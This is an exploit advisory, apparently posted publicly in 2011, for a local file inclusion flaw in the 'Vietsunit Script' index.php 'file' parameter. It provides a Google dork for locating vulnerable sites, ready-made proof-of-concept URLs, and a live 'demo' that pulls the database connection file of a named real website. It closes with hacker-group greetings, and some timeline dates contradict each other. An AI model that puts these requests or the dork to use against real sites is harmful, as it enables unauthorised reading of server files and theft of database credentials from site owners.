---------------------------------------------------------------- Vietsunit Script <= (index.php) Local File Include Vulnerability ---------------------------------------------------------------- # Exploit Title:Vietsunit Script <= (index.php) Local File Include Vulnerability # Google Dork: inurl:"/modules/index.php?action=view file=" # Application Name: [Vietsunit Script] # Date: 2011-12-9 # Author: BHG Security Center # Home: Http://black-hg.org # Vendor Response(s): http://www.vietsunit.com/ # Version: [ 1.0 ] # Impact : [ Low ] # Tested on: [centos 5.6 /apache] # CVE : Webapps +-----------------------+ | LFI Vulnerability | +-----------------------+ Description: You can get the database information and hack into the system to apply ~ Reading the source files to a website is very easy to impress # PoC(s): http://[HOST]/modules/index.php?action=view&file=[LFI] http://[HOST]/modules/index.php?action=view&file=/home/uSER/public_html/intro.php <> True # Demo(s): http://www.vnindustry.vn/modules/index.php?action=view&file=/home/vnindust/public_html/include/connect_db.php # Reference: [1] For more information about this vulnerability (URL: http://www.hakipedia.com/index.php/Local_File_Inclusion) # Important Notes: - Vendor did not respond to the email as well as the phone. As there is not any contact form or email address in the website, we have used all the emails which had been found by searching in Google such as support, info, and so on. [-] Disclosure timeline: [4/12/2011] - Vulnerabilities discovered [6/10/2011] - Others vulnerabilities discovered [7/10/2011] - Issues reported to http://black-hg.org [9/10/2011] - Public disclosure # Greets To : Net.Edit0r ~ A.Cr0x ~ 3H34N ~ 4m!n ~ tHe.k!ll3r ~ Cyrus ~ 2MzRp ArYaIeIrAn ~ Mikili ~ NoL1m1t ~ cmaxx ~ r3v0lter ~ Mr.XHat G3n3Rall ~ M4hd1 ~ Cru3l.b0y ~ HUrr!c4nE ~ s3cure.p0rt THANKS TO ALL Iranian HackerZ ./Persian Gulf ===========================================[End]=============================================